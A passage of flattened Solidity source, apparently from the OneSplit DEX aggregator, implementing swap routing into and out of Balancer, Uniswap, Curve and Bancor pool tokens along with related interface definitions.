IERC20(currentTokens[i]), toToken, exchangeTokenAmount, 0, dist, flags ); } } function _swapToBalancerPoolToken( IERC20 fromToken, IERC20 poolToken, uint256 amount, uint256[] memory distribution, uint256 flags ) private { uint256[] memory dist = new uint256[](distribution.length); uint256 minFundAmount = uint256(-1); PoolTokenDetails memory details = _getPoolDetails(IBPool(address(poolToken))); uint256[] memory maxAmountsIn = new uint256[](details.tokens.length); uint256 curFundAmount; for (uint i = 0; i < details.tokens.length; i++) { uint256 exchangeAmount = amount .mul(details.tokens[i].denormalizedWeight) .div(details.totalWeight); if (details.tokens[i].token != fromToken) { uint256 tokenBalanceBefore = details.tokens[i].token.balanceOf(address(this)); for (uint j = 0; j < distribution.length; j++) { dist[j] = (distribution[j] >> (i * 8)) & 0xFF; } this.swap( fromToken, details.tokens[i].token, exchangeAmount, 0, dist, flags ); uint256 tokenBalanceAfter = details.tokens[i].token.balanceOf(address(this)); curFundAmount = ( tokenBalanceAfter.sub(tokenBalanceBefore) ).mul(details.totalSupply).div(details.tokens[i].reserveBalance); } else { curFundAmount = ( exchangeAmount ).mul(details.totalSupply).div(details.tokens[i].reserveBalance); } if (curFundAmount < minFundAmount) { minFundAmount = curFundAmount; } maxAmountsIn[i] = uint256(-1); details.tokens[i].token.universalApprove(address(poolToken), uint256(-1)); } // todo: check for vulnerability IBPool(address(poolToken)).joinPool(minFundAmount, maxAmountsIn); // Return leftovers for (uint i = 0; i < details.tokens.length; i++) { details.tokens[i].token.universalTransfer(msg.sender, details.tokens[i].token.balanceOf(address(this))); } } } // File: contracts/OneSplitUniswapPoolToken.sol pragma solidity ^0.5.0; contract OneSplitUniswapPoolTokenBase { using SafeMath for uint256; IUniswapFactory constant uniswapFactory = IUniswapFactory(0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95); function isLiquidityPool(IERC20 token) internal view returns (bool) { return address(uniswapFactory.getToken(address(token))) != address(0); } function getMaxPossibleFund( IERC20 poolToken, IERC20 uniswapToken, uint256 tokenAmount, uint256 existEthAmount ) internal view returns ( uint256, uint256 ) { uint256 ethReserve = address(poolToken).balance; uint256 totalLiquidity = poolToken.totalSupply(); uint256 tokenReserve = uniswapToken.balanceOf(address(poolToken)); uint256 possibleEthAmount = ethReserve.mul( tokenAmount.sub(1) ).div(tokenReserve); if (existEthAmount > possibleEthAmount) { return ( possibleEthAmount, possibleEthAmount.mul(totalLiquidity).div(ethReserve) ); } return ( existEthAmount, existEthAmount.mul(totalLiquidity).div(ethReserve) ); } } contract OneSplitUniswapPoolTokenView is OneSplitViewWrapBase, OneSplitUniswapPoolTokenBase { function getExpectedReturn( IERC20 fromToken, IERC20 toToken, uint256 amount, uint256 parts, uint256 flags ) public view returns( uint256 returnAmount, uint256[] memory distribution ) { if (fromToken == toToken) { return (amount, new uint256[](DEXES_COUNT)); } if (!flags.check(FLAG_DISABLE_UNISWAP_POOL_TOKEN)) { bool isPoolTokenFrom = isLiquidityPool(fromToken); bool isPoolTokenTo = isLiquidityPool(toToken); if (isPoolTokenFrom && isPoolTokenTo) { ( uint256 returnETHAmount, uint256[] memory poolTokenFromDistribution ) = _getExpectedReturnFromPoolToken( fromToken, ETH_ADDRESS, amount, parts, FLAG_DISABLE_UNISWAP_POOL_TOKEN ); ( uint256 returnPoolTokenToAmount, uint256[] memory poolTokenToDistribution ) = _getExpectedReturnToPoolToken( ETH_ADDRESS, toToken, returnETHAmount, parts, FLAG_DISABLE_UNISWAP_POOL_TOKEN ); for (uint i = 0; i < poolTokenToDistribution.length; i++) { poolTokenFromDistribution[i] |= poolTokenToDistribution[i] << 128; } return (returnPoolTokenToAmount, poolTokenFromDistribution); } if (isPoolTokenFrom) { return _getExpectedReturnFromPoolToken( fromToken, toToken, amount, parts, FLAG_DISABLE_UNISWAP_POOL_TOKEN ); } if (isPoolTokenTo) { return _getExpectedReturnToPoolToken( fromToken, toToken, amount, parts, FLAG_DISABLE_UNISWAP_POOL_TOKEN ); } } return super.getExpectedReturn( fromToken, toToken, amount, parts, flags ); } function _getExpectedReturnFromPoolToken( IERC20 poolToken, IERC20 toToken, uint256 amount, uint256 parts, uint256 flags ) private view returns( uint256 returnAmount, uint256[] memory distribution ) { distribution = new uint256[](DEXES_COUNT); IERC20 uniswapToken = uniswapFactory.getToken(address(poolToken)); uint256 totalSupply = poolToken.totalSupply(); uint256 ethReserve = address(poolToken).balance; uint256 ethAmount = amount.mul(ethReserve).div(totalSupply); if (!toToken.isETH()) { (uint256 ret, uint256[] memory dist) = getExpectedReturn( ETH_ADDRESS, toToken, ethAmount, parts, flags ); returnAmount = returnAmount.add(ret); for (uint j = 0; j < distribution.length; j++) { distribution[j] |= dist[j]; } } else { returnAmount = returnAmount.add(ethAmount); } uint256 tokenReserve = uniswapToken.balanceOf(address(poolToken)); uint256 exchangeTokenAmount = amount.mul(tokenReserve).div(totalSupply); if (toToken != uniswapToken) { (uint256 ret, uint256[] memory dist) = getExpectedReturn( uniswapToken, toToken, exchangeTokenAmount, parts, flags ); returnAmount = returnAmount.add(ret); for (uint j = 0; j < distribution.length; j++) { distribution[j] |= dist[j] << 8; } } else { returnAmount = returnAmount.add(exchangeTokenAmount); } return (returnAmount, distribution); } function _getExpectedReturnToPoolToken( IERC20 fromToken, IERC20 poolToken, uint256 amount, uint256 parts, uint256 flags ) private view returns( uint256 returnAmount, uint256[] memory distribution ) { distribution = new uint256[](DEXES_COUNT); uint256[] memory dist = new uint256[](DEXES_COUNT); uint256 ethAmount; uint256 partAmountForEth = amount.div(2); if (!fromToken.isETH()) { (ethAmount, dist) = super.getExpectedReturn( fromToken, ETH_ADDRESS, partAmountForEth, parts, flags ); for (uint j = 0; j < distribution.length; j++) { distribution[j] |= dist[j]; } } else { ethAmount = partAmountForEth; } IERC20 uniswapToken = uniswapFactory.getToken(address(poolToken)); uint256 tokenAmount; uint256 partAmountForToken = amount.sub(partAmountForEth); if (fromToken != uniswapToken) { (tokenAmount, dist) = super.getExpectedReturn( fromToken, uniswapToken, partAmountForToken, parts, flags ); for (uint j = 0; j < distribution.length; j++) { distribution[j] |= dist[j] << 8; } } else { tokenAmount = partAmountForToken; } (, returnAmount) = getMaxPossibleFund( poolToken, uniswapToken, tokenAmount, ethAmount ); return ( returnAmount, distribution ); } } contract OneSplitUniswapPoolToken is OneSplitBaseWrap, OneSplitUniswapPoolTokenBase { function _swap( IERC20 fromToken, IERC20 toToken, uint256 amount, uint256[] memory distribution, uint256 flags ) internal { if (fromToken == toToken) { return; } if (!flags.check(FLAG_DISABLE_UNISWAP_POOL_TOKEN)) { bool isPoolTokenFrom = isLiquidityPool(fromToken); bool isPoolTokenTo = isLiquidityPool(toToken); if (isPoolTokenFrom && isPoolTokenTo) { uint256[] memory dist = new uint256[](distribution.length); for (uint i = 0; i < distribution.length; i++) { dist[i] = distribution[i] & ((1 << 128) - 1); } uint256 ethBalanceBefore = address(this).balance; _swapFromPoolToken( fromToken, ETH_ADDRESS, amount, dist, FLAG_DISABLE_UNISWAP_POOL_TOKEN ); for (uint i = 0; i < distribution.length; i++) { dist[i] = distribution[i] >> 128; } uint256 ethBalanceAfter = address(this).balance; return _swapToPoolToken( ETH_ADDRESS, toToken, ethBalanceAfter.sub(ethBalanceBefore), dist, FLAG_DISABLE_UNISWAP_POOL_TOKEN ); } if (isPoolTokenFrom) { return _swapFromPoolToken( fromToken, toToken, amount, distribution, FLAG_DISABLE_UNISWAP_POOL_TOKEN ); } if (isPoolTokenTo) { return _swapToPoolToken( fromToken, toToken, amount, distribution, FLAG_DISABLE_UNISWAP_POOL_TOKEN ); } } return super._swap( fromToken, toToken, amount, distribution, flags ); } function _swapFromPoolToken( IERC20 poolToken, IERC20 toToken, uint256 amount, uint256[] memory distribution, uint256 flags ) private { uint256[] memory dist = new uint256[](distribution.length); ( uint256 ethAmount, uint256 exchangeTokenAmount ) = IUniswapExchange(address(poolToken)).removeLiquidity( amount, 1, 1, now.add(1800) ); if (!toToken.isETH()) { for (uint j = 0; j < distribution.length; j++) { dist[j] = (distribution[j]) & 0xFF; } super._swap( ETH_ADDRESS, toToken, ethAmount, dist, flags ); } IERC20 uniswapToken = uniswapFactory.getToken(address(poolToken)); if (toToken != uniswapToken) { for (uint j = 0; j < distribution.length; j++) { dist[j] = (distribution[j] >> 8) & 0xFF; } super._swap( uniswapToken, toToken, exchangeTokenAmount, dist, flags ); } } function _swapToPoolToken( IERC20 fromToken, IERC20 poolToken, uint256 amount, uint256[] memory distribution, uint256 flags ) private { uint256[] memory dist = new uint256[](distribution.length); uint256 partAmountForEth = amount.div(2); if (!fromToken.isETH()) { for (uint j = 0; j < distribution.length; j++) { dist[j] = (distribution[j]) & 0xFF; } super._swap( fromToken, ETH_ADDRESS, partAmountForEth, dist, flags ); } IERC20 uniswapToken = uniswapFactory.getToken(address(poolToken)); uint256 partAmountForToken = amount.sub(partAmountForEth); if (fromToken != uniswapToken) { for (uint j = 0; j < distribution.length; j++) { dist[j] = (distribution[j] >> 8) & 0xFF; } super._swap( fromToken, uniswapToken, partAmountForToken, dist, flags ); uniswapToken.universalApprove(address(poolToken), uint256(-1)); } uint256 ethBalance = address(this).balance; uint256 tokenBalance = uniswapToken.balanceOf(address(this)); (uint256 ethAmount, uint256 returnAmount) = getMaxPossibleFund( poolToken, uniswapToken, tokenBalance, ethBalance ); IUniswapExchange(address(poolToken)).addLiquidity.value(ethAmount)( returnAmount.mul(995).div(1000), // 0.5% slippage uint256(-1), // todo: think about another value now.add(1800) ); // todo: do we need to check difference between balance before and balance after? uniswapToken.universalTransfer(msg.sender, uniswapToken.balanceOf(address(this))); ETH_ADDRESS.universalTransfer(msg.sender, address(this).balance); } } // File: contracts/OneSplitCurvePoolToken.sol pragma solidity ^0.5.0; contract OneSplitCurvePoolTokenBase { using SafeMath for uint256; using UniversalERC20 for IERC20; IERC20 constant curveSusdToken = IERC20(0xC25a3A3b969415c80451098fa907EC722572917F); IERC20 constant curveIearnToken = IERC20(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8); IERC20 constant curveCompoundToken = IERC20(0x845838DF265Dcd2c412A1Dc9e959c7d08537f8a2); IERC20 constant curveUsdtToken = IERC20(0x9fC689CCaDa600B6DF723D9E47D84d76664a1F23); IERC20 constant curveBinanceToken = IERC20(0x3B3Ac5386837Dc563660FB6a0937DFAa5924333B); IERC20 constant curvePaxToken = IERC20(0xD905e2eaeBe188fc92179b6350807D8bd91Db0D8); IERC20 constant curveRenBtcToken = IERC20(0x7771F704490F9C0C3B06aFe8960dBB6c58CBC812); IERC20 constant curveTBtcToken = IERC20(0x1f2a662FB513441f06b8dB91ebD9a1466462b275); ICurve constant curveSusd = ICurve(0xA5407eAE9Ba41422680e2e00537571bcC53efBfD); ICurve constant curveIearn = ICurve(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51); ICurve constant curveCompound = ICurve(0xA2B47E3D5c44877cca798226B7B8118F9BFb7A56); ICurve constant curveUsdt = ICurve(0x52EA46506B9CC5Ef470C5bf89f17Dc28bB35D85C); ICurve constant curveBinance = ICurve(0x79a8C46DeA5aDa233ABaFFD40F3A0A2B1e5A4F27); ICurve constant curvePax = ICurve(0x06364f10B501e868329afBc005b3492902d6C763); ICurve constant curveRenBtc = ICurve(0x8474c1236F0Bc23830A23a41aBB81B2764bA9f4F); ICurve constant curveTBtc = ICurve(0x9726e9314eF1b96E45f40056bEd61A088897313E); struct CurveTokenInfo { IERC20 token; uint256 weightedReserveBalance; } struct CurveInfo { ICurve curve; uint256 tokenCount; } struct CurvePoolTokenDetails { CurveTokenInfo[] tokens; uint256 totalWeightedBalance; } function _isPoolToken(IERC20 token) internal pure returns (bool) { if ( token == curveSusdToken || token == curveIearnToken || token == curveCompoundToken || token == curveUsdtToken || token == curveBinanceToken || token == curvePaxToken || token == curveRenBtcToken || token == curveTBtcToken ) { return true; } return false; } function _getCurve(IERC20 poolToken) internal pure returns (CurveInfo memory curveInfo) { if (poolToken == curveSusdToken) { curveInfo.curve = curveSusd; curveInfo.tokenCount = 4; return curveInfo; } if (poolToken == curveIearnToken) { curveInfo.curve = curveIearn; curveInfo.tokenCount = 4; return curveInfo; } if (poolToken == curveCompoundToken) { curveInfo.curve = curveCompound; curveInfo.tokenCount = 2; return curveInfo; } if (poolToken == curveUsdtToken) { curveInfo.curve = curveUsdt; curveInfo.tokenCount = 3; return curveInfo; } if (poolToken == curveBinanceToken) { curveInfo.curve = curveBinance; curveInfo.tokenCount = 4; return curveInfo; } if (poolToken == curvePaxToken) { curveInfo.curve = curvePax; curveInfo.tokenCount = 4; return curveInfo; } if (poolToken == curveRenBtcToken) { curveInfo.curve = curveRenBtc; curveInfo.tokenCount = 2; return curveInfo; } if (poolToken == curveTBtcToken) { curveInfo.curve = curveTBtc; curveInfo.tokenCount = 3; return curveInfo; } revert(); } function _getCurveCalcTokenAmountSelector(uint256 tokenCount) internal pure returns (bytes4) { return bytes4(keccak256(abi.encodePacked( "calc_token_amount(uint256[", uint8(48 + tokenCount) ,"],bool)" ))); } function _getCurveRemoveLiquiditySelector(uint256 tokenCount) internal pure returns (bytes4) { return bytes4(keccak256(abi.encodePacked( "remove_liquidity(uint256,uint256[", uint8(48 + tokenCount) ,"])" ))); } function _getCurveAddLiquiditySelector(uint256 tokenCount) internal pure returns (bytes4) { return bytes4(keccak256(abi.encodePacked( "add_liquidity(uint256[", uint8(48 + tokenCount) ,"],uint256)" ))); } function _getPoolDetails(ICurve curve, uint256 tokenCount) internal view returns(CurvePoolTokenDetails memory details) { details.tokens = new CurveTokenInfo[](tokenCount); for (uint256 i = 0; i < tokenCount; i++) { details.tokens[i].token = IERC20(curve.coins(int128(i))); details.tokens[i].weightedReserveBalance = curve.balances(int128(i)) .mul(1e18).div(10 ** details.tokens[i].token.universalDecimals()); details.totalWeightedBalance = details.totalWeightedBalance.add( details.tokens[i].weightedReserveBalance ); } } } contract OneSplitCurvePoolTokenView is OneSplitViewWrapBase, OneSplitCurvePoolTokenBase { function getExpectedReturn( IERC20 fromToken, IERC20 toToken, uint256 amount, uint256 parts, uint256 flags ) public view returns ( uint256 returnAmount, uint256[] memory distribution ) { if (fromToken == toToken) { return (amount, new uint256[](DEXES_COUNT)); } if (!flags.check(FLAG_DISABLE_CURVE_ZAP)) { if (_isPoolToken(fromToken)) { return _getExpectedReturnFromCurvePoolToken( fromToken, toToken, amount, parts, FLAG_DISABLE_CURVE_ZAP ); } if (_isPoolToken(toToken)) { return _getExpectedReturnToCurvePoolToken( fromToken, toToken, amount, parts, FLAG_DISABLE_CURVE_ZAP ); } } return super.getExpectedReturn( fromToken, toToken, amount, parts, flags ); } function _getExpectedReturnFromCurvePoolToken( IERC20 poolToken, IERC20 toToken, uint256 amount, uint256 parts, uint256 flags ) private view returns ( uint256 returnAmount, uint256[] memory distribution ) { distribution = new uint256[](DEXES_COUNT); CurveInfo memory curveInfo = _getCurve(poolToken); uint256 totalSupply = poolToken.totalSupply(); for (uint i = 0; i < curveInfo.tokenCount; i++) { IERC20 coin = IERC20(curveInfo.curve.coins(int128(i))); uint256 tokenAmountOut = curveInfo.curve.balances(int128(i)) .mul(amount) .div(totalSupply); if (coin == toToken) { returnAmount = returnAmount.add(tokenAmountOut); continue; } (uint256 ret, uint256[] memory dist) = this.getExpectedReturn( coin, toToken, tokenAmountOut, parts, flags ); returnAmount = returnAmount.add(ret); for (uint j = 0; j < distribution.length; j++) { distribution[j] |= dist[j] << (i * 8); } } return (returnAmount, distribution); } function _getExpectedReturnToCurvePoolToken( IERC20 fromToken, IERC20 poolToken, uint256 amount, uint256 parts, uint256 flags ) private view returns ( uint256 returnAmount, uint256[] memory distribution ) { distribution = new uint256[](DEXES_COUNT); CurveInfo memory curveInfo = _getCurve(poolToken); CurvePoolTokenDetails memory details = _getPoolDetails( curveInfo.curve, curveInfo.tokenCount ); bytes memory tokenAmounts; for (uint i = 0; i < curveInfo.tokenCount; i++) { uint256 exchangeAmount = amount .mul(details.tokens[i].weightedReserveBalance) .div(details.totalWeightedBalance); if (details.tokens[i].token == fromToken) { tokenAmounts = abi.encodePacked(tokenAmounts, exchangeAmount); continue; } (uint256 tokenAmount, uint256[] memory dist) = this.getExpectedReturn( fromToken, details.tokens[i].token, exchangeAmount, parts, flags ); tokenAmounts = abi.encodePacked(tokenAmounts, tokenAmount); for (uint j = 0; j < distribution.length; j++) { distribution[j] |= dist[j] << (i * 8); } } (bool success, bytes memory data) = address(curveInfo.curve).staticcall( abi.encodePacked( _getCurveCalcTokenAmountSelector(curveInfo.tokenCount), tokenAmounts, uint256(1) ) ); require(success, "calc_token_amount failed"); return (abi.decode(data, (uint256)), distribution); } } contract OneSplitCurvePoolToken is OneSplitBaseWrap, OneSplitCurvePoolTokenBase { function _swap( IERC20 fromToken, IERC20 toToken, uint256 amount, uint256[] memory distribution, uint256 flags ) internal { if (fromToken == toToken) { return; } if (!flags.check(FLAG_DISABLE_CURVE_ZAP)) { if (_isPoolToken(fromToken)) { return _swapFromCurvePoolToken( fromToken, toToken, amount, distribution, FLAG_DISABLE_CURVE_ZAP ); } if (_isPoolToken(toToken)) { return _swapToCurvePoolToken( fromToken, toToken, amount, distribution, FLAG_DISABLE_CURVE_ZAP ); } } return super._swap( fromToken, toToken, amount, distribution, flags ); } function _swapFromCurvePoolToken( IERC20 poolToken, IERC20 toToken, uint256 amount, uint256[] memory distribution, uint256 flags ) private { CurveInfo memory curveInfo = _getCurve(poolToken); bytes memory minAmountsOut; for (uint i = 0; i < curveInfo.tokenCount; i++) { minAmountsOut = abi.encodePacked(minAmountsOut, uint256(1)); } (bool success,) = address(curveInfo.curve).call( abi.encodePacked( _getCurveRemoveLiquiditySelector(curveInfo.tokenCount), amount, minAmountsOut ) ); require(success, "remove_liquidity failed"); uint256[] memory dist = new uint256[](distribution.length); for (uint i = 0; i < curveInfo.tokenCount; i++) { IERC20 coin = IERC20(curveInfo.curve.coins(int128(i))); if (coin == toToken) { continue; } for (uint j = 0; j < distribution.length; j++) { dist[j] = (distribution[j] >> (i * 8)) & 0xFF; } uint256 exchangeTokenAmount = coin.universalBalanceOf(address(this)); this.swap( coin, toToken, exchangeTokenAmount, 0, dist, flags ); } } function _swapToCurvePoolToken( IERC20 fromToken, IERC20 poolToken, uint256 amount, uint256[] memory distribution, uint256 flags ) private { uint256[] memory dist = new uint256[](distribution.length); CurveInfo memory curveInfo = _getCurve(poolToken); CurvePoolTokenDetails memory details = _getPoolDetails( curveInfo.curve, curveInfo.tokenCount ); bytes memory tokenAmounts; for (uint i = 0; i < curveInfo.tokenCount; i++) { uint256 exchangeAmount = amount .mul(details.tokens[i].weightedReserveBalance) .div(details.totalWeightedBalance); details.tokens[i].token.universalApprove(address(curveInfo.curve), uint256(-1)); if (details.tokens[i].token == fromToken) { tokenAmounts = abi.encodePacked(tokenAmounts, exchangeAmount); continue; } for (uint j = 0; j < distribution.length; j++) { dist[j] = (distribution[j] >> (i * 8)) & 0xFF; } this.swap( fromToken, details.tokens[i].token, exchangeAmount, 0, dist, flags ); tokenAmounts = abi.encodePacked( tokenAmounts, details.tokens[i].token.universalBalanceOf(address(this)) ); } (bool success,) = address(curveInfo.curve).call( abi.encodePacked( _getCurveAddLiquiditySelector(curveInfo.tokenCount), tokenAmounts, uint256(0) ) ); require(success, "add_liquidity failed"); } } // File: contracts/interface/ISmartTokenConverter.sol pragma solidity ^0.5.0; interface ISmartTokenConverter { function version() external view returns (uint16); function connectors(address) external view returns (uint256, uint32, bool, bool, bool); function getReserveRatio(IERC20 token) external view returns (uint256); function connectorTokenCount() external view returns (uint256); function connectorTokens(uint256 i) external view returns (IERC20); function liquidate(uint256 _amount) external; function fund(uint256 _amount) payable external; function convert2(IERC20 _fromToken, IERC20 _toToken, uint256 _amount, uint256 _minReturn, address _affiliateAccount, uint256 _affiliateFee) external returns (uint256); function convert(IERC20 _fromToken, IERC20 _toToken, uint256 _amount, uint256 _minReturn) external returns (uint256); } // File: contracts/interface/ISmartToken.sol pragma solidity ^0.5.0; interface ISmartToken { function owner() external view returns (ISmartTokenConverter); } // File: contracts/interface/ISmartTokenRegistry.sol pragma solidity ^0.5.0; interface ISmartTokenRegistry { function isSmartToken(IERC20 token) external view returns (bool); } // File: contracts/interface/ISmartTokenFormula.sol pragma solidity ^0.5.0; interface ISmartTokenFormula { function calculateLiquidateReturn( uint256 supply, uint256 reserveBalance, uint32 totalRatio, uint256 amount ) external view returns (uint256); function calculatePurchaseReturn( uint256 supply, uint256 reserveBalance, uint32 totalRatio, uint256 amount ) external view returns (uint256); } // File: contracts/OneSplitSmartToken.sol pragma solidity ^0.5.0; contract OneSplitSmartTokenBase { using SafeMath for uint256; ISmartTokenRegistry constant smartTokenRegistry = ISmartTokenRegistry(0x06915Fb082D34fF4fE5105e5Ff2829Dc5e7c3c6D); ISmartTokenFormula constant smartTokenFormula = ISmartTokenFormula(0x55F09AB2f8C6ad171f086abdB14e1eD8544f7398); IERC20 constant bntToken = IERC20(0x1F573D6Fb3F13d689FF844B4cE37794d79a7FF1C); IERC20 constant susd = IERC20(0x57Ab1ec28D129707052df4dF418D58a2D46d5f51); IERC20 constant acientSUSD = IERC20(0x57Ab1E02fEE23774580C119740129eAC7081e9D3); struct TokenWithRatio { IERC20 token; uint256 ratio; } struct SmartTokenDetails { TokenWithRatio[] tokens; address converter; uint256 totalRatio; } function _getSmartTokenDetails(ISmartToken smartToken) internal view returns(SmartTokenDetails memory details) { ISmartTokenConverter converter = smartToken.owner(); details.converter = address(converter); details.tokens = new TokenWithRatio[](converter.connectorTokenCount()); for (uint256 i = 0; i < details.tokens.length; i++) { details.tokens[i].token = converter.connectorTokens(i); details.tokens[i].ratio = _getReserveRatio(converter, details.tokens[i].token); details.totalRatio = details.totalRatio.add(details.tokens[i].ratio); } } function _getReserveRatio( ISmartTokenConverter converter, IERC20 token ) internal view returns (uint256) { (bool success, bytes memory data) = address(converter).staticcall.gas(10000)( abi.encodeWithSelector( converter.getReserveRatio.selector, token ) ); if (!success || data.length == 0) { (, uint32 ratio, , ,) = converter.connectors(address(token)); return uint256(ratio); } return abi.decode(data, (uint256)); } function _canonicalSUSD(IERC20 token) internal pure returns(IERC20) { return token == acientSUSD ? susd : token; } } contract OneSplitSmartTokenView is OneSplitViewWrapBase, OneSplitSmartTokenBase { function getExpectedReturn( IERC20 fromToken, IERC20 toToken, uint256 amount, uint256 parts, uint256 flags ) public view returns( uint256, uint256[] memory ) { if (fromToken == toToken) { return (amount, new uint256[](DEXES_COUNT)); } if (!flags.check(FLAG_DISABLE_SMART_TOKEN)) { bool isSmartTokenFrom = smartTokenRegistry.isSmartToken(fromToken); bool isSmartTokenTo = smartTokenRegistry.isSmartToken(toToken); if (isSmartTokenFrom && isSmartTokenTo) { ( uint256 returnBntAmount, uint256[] memory smartTokenFromDistribution ) = _getExpectedReturnFromSmartToken( fromToken, bntToken, amount, parts, FLAG_DISABLE_SMART_TOKEN ); ( uint256 returnSmartTokenToAmount, uint256[] memory smartTokenToDistribution ) = _getExpectedReturnToSmartToken( bntToken, toToken, returnBntAmount, parts, FLAG_DISABLE_SMART_TOKEN ); for (uint i = 0; i < smartTokenToDistribution.length; i++) { smartTokenFromDistribution[i] |= smartTokenToDistribution[i] << 128; } return (returnSmartTokenToAmount, smartTokenFromDistribution); } if (isSmartTokenFrom) { return _getExpectedReturnFromSmartToken( fromToken, toToken, amount, parts, FLAG_DISABLE_SMART_TOKEN ); } if (isSmartTokenTo) { return _getExpectedReturnToSmartToken( fromToken, toToken, amount, parts, FLAG_DISABLE_SMART_TOKEN ); } } return super.getExpectedReturn( fromToken, toToken, amount, parts, flags ); } function _getExpectedReturnFromSmartToken( IERC20 smartToken, IERC20 toToken, uint256 amount, uint256 parts, uint256 flags ) private view returns( uint256 returnAmount, uint256[] memory distribution ) { distribution = new uint256[](DEXES_COUNT); SmartTokenDetails memory details = _getSmartTokenDetails(ISmartToken(address(smartToken))); for (uint i = 0; i < details.tokens.length; i++) { uint256 srcAmount = smartTokenFormula.calculateLiquidateReturn( smartToken.totalSupply(), _canonicalSUSD(details.tokens[i].token).universalBalanceOf(details.converter), uint32(details.totalRatio), amount ); if (details.tokens[i].token == toToken) { returnAmount = returnAmount.add(srcAmount); continue; } (uint256 ret, uint256[] memory dist) = this.getExpectedReturn( _canonicalSUSD(details.tokens[i].token), toToken, srcAmount, parts, flags ); returnAmount = returnAmount.add(ret); for (uint j = 0; j < distribution.length; j++) { distribution[j] |= dist[j] << (i * 8); } } return (returnAmount, distribution); } function _getExpectedReturnToSmartToken( IERC20 fromToken, IERC20 smartToken, uint256 amount, uint256 parts, uint256 flags ) private view returns( uint256 minFundAmount, uint256[] memory distribution ) { distribution = new uint256[](DEXES_COUNT); minFundAmount = uint256(-1); SmartTokenDetails memory details = _getSmartTokenDetails(ISmartToken(address(smartToken))); uint256 reserveTokenAmount; uint256[] memory dist; uint256[] memory fundAmounts = new uint256[](details.tokens.length); for (uint i = 0; i < details.tokens.length; i++) { uint256 exchangeAmount = amount .mul(details.tokens[i].ratio) .div(details.totalRatio); if (details.tokens[i].token != fromToken) { (reserveTokenAmount, dist) = this.getExpectedReturn( fromToken, _canonicalSUSD(details.tokens[i].token), exchangeAmount, parts, flags ); for (uint j = 0; j < distribution.length; j++) { distribution[j] |= dist[j] << (i * 8); } } else { reserveTokenAmount = exchangeAmount; } fundAmounts[i] = smartTokenFormula.calculatePurchaseReturn( smartToken.totalSupply(), _canonicalSUSD(details.tokens[i].token).universalBalanceOf(details.converter), uint32(details.totalRatio), reserveTokenAmount ); if (fundAmounts[i] < minFundAmount) { minFundAmount = fundAmounts[i]; } } return (minFundAmount, distribution); } } contract OneSplitSmartToken is OneSplitBaseWrap, OneSplitSmartTokenBase { function _swap( IERC20 fromToken, IERC20 toToken, uint256 amount, uint256[] memory distribution, uint256 flags ) internal { if (fromToken == toToken) { return; } if (!flags.check(FLAG_DISABLE_SMART_TOKEN)) { bool isSmartTokenFrom = smartTokenRegistry.isSmartToken(fromToken); bool isSmartTokenTo = smartTokenRegistry.isSmartToken(toToken); if (isSmartTokenFrom && isSmartTokenTo) { uint256[] memory dist = new uint256[](distribution.length); for (uint i = 0; i < distribution.length; i++) { dist[i] = distribution[i] & ((1 << 128) - 1); } uint256 bntBalanceBefore = bntToken.balanceOf(address(this)); _swapFromSmartToken( fromToken, bntToken, amount, dist, FLAG_DISABLE_SMART_TOKEN ); for (uint i = 0; i < distribution.length; i++) { dist[i] = distribution[i] >> 128; } uint256 bntBalanceAfter = bntToken.balanceOf(address(this)); return _swapToSmartToken( bntToken, toToken, bntBalanceAfter.sub(bntBalanceBefore), dist, FLAG_DISABLE_SMART_TOKEN ); } if (isSmartTokenFrom) { return _swapFromSmartToken( fromToken, toToken, amount, distribution, FLAG_DISABLE_SMART_TOKEN ); } if (isSmartTokenTo) { return _swapToSmartToken( fromToken, toToken, amount, distribution, FLAG_DISABLE_SMART_TOKEN ); } } return super._swap( fromToken, toToken, amount, distribution, flags ); } function _swapFromSmartToken( IERC20 smartToken, IERC20 toToken, uint256 amount, uint256[] memory distribution, uint256 flags ) private { SmartTokenDetails memory details = _getSmartTokenDetails(ISmartToken(address(smartToken))); ISmartTokenConverter(details.converter).liquidate(amount); uint256[] memory dist = new uint256[](distribution.length); for (uint i = 0; i < details.tokens.length; i++) { if (details.tokens[i].token == toToken) { continue; } for (uint j = 0; j < distribution.length; j++) { dist[j] = (distribution[j] >> (i * 8)) & 0xFF; } this.swap( _canonicalSUSD(details.tokens[i].token), toToken, _canonicalSUSD(details.tokens[i].token).universalBalanceOf(address(this)), 0, dist, flags ); } } function _swapToSmartToken( IERC20 fromToken, IERC20 smartToken, uint256 amount, uint256[] memory distribution, uint256 flags ) private { uint256[] memory dist = new uint256[](distribution.length); uint256 minFundAmount = uint256(-1); SmartTokenDetails memory details = _getSmartTokenDetails(ISmartToken(address(smartToken))); uint256 curFundAmount; uint256 ethAmount; for (uint i = 0; i < details.tokens.length; i++) { uint256 exchangeAmount = amount .mul(details.tokens[i].ratio) .div(details.totalRatio); if (details.tokens[i].token != fromToken) { uint256 tokenBalanceBefore = _canonicalSUSD(details.tokens[i].token).universalBalanceOf(address(this)); for (uint j = 0; j < distribution.length; j++) { dist[j] = (distribution[j] >> (i * 8)) & 0xFF; } this.swap( fromToken, _canonicalSUSD(details.tokens[i].token), exchangeAmount, 0, dist, flags ); uint256 tokenBalanceAfter = _canonicalSUSD(details.tokens[i].token).universalBalanceOf(address(this)); uint256 returnedAmount = tokenBalanceAfter.sub(tokenBalanceBefore); curFundAmount = smartTokenFormula.calculatePurchaseReturn( smartToken.totalSupply(), _canonicalSUSD(details.tokens[i].token).universalBalanceOf(details.converter), uint32(details.totalRatio), returnedAmount ); if (details.tokens[i].token.isETH()) { ethAmount = returnedAmount; } } else { curFundAmount = smartTokenFormula.calculatePurchaseReturn( smartToken.totalSupply(), _canonicalSUSD(details.tokens[i].token).universalBalanceOf(details.converter), uint32(details.totalRatio), exchangeAmount ); if (details.tokens[i].token.isETH()) { ethAmount = exchangeAmount; } } if (curFundAmount < minFundAmount) { minFundAmount = curFundAmount; } _canonicalSUSD(details.tokens[i].token).universalApprove(details.converter, uint256(-1)); } ISmartTokenConverter(details.converter).fund.value(ethAmount)(minFundAmount); for (uint i = 0; i < details.tokens.length; i++) { IERC20 reserveToken = _canonicalSUSD(details.tokens[i].token); reserveToken.universalTransfer( msg.sender, reserveToken.universalBalanceOf(address(this)) ); } } } // File: contracts/interface/IUniswapV2Router.sol pragma solidity ^0.5.0; interface IUniswapV2Router { function addLiquidity( IERC20 tokenA, IERC20 tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint 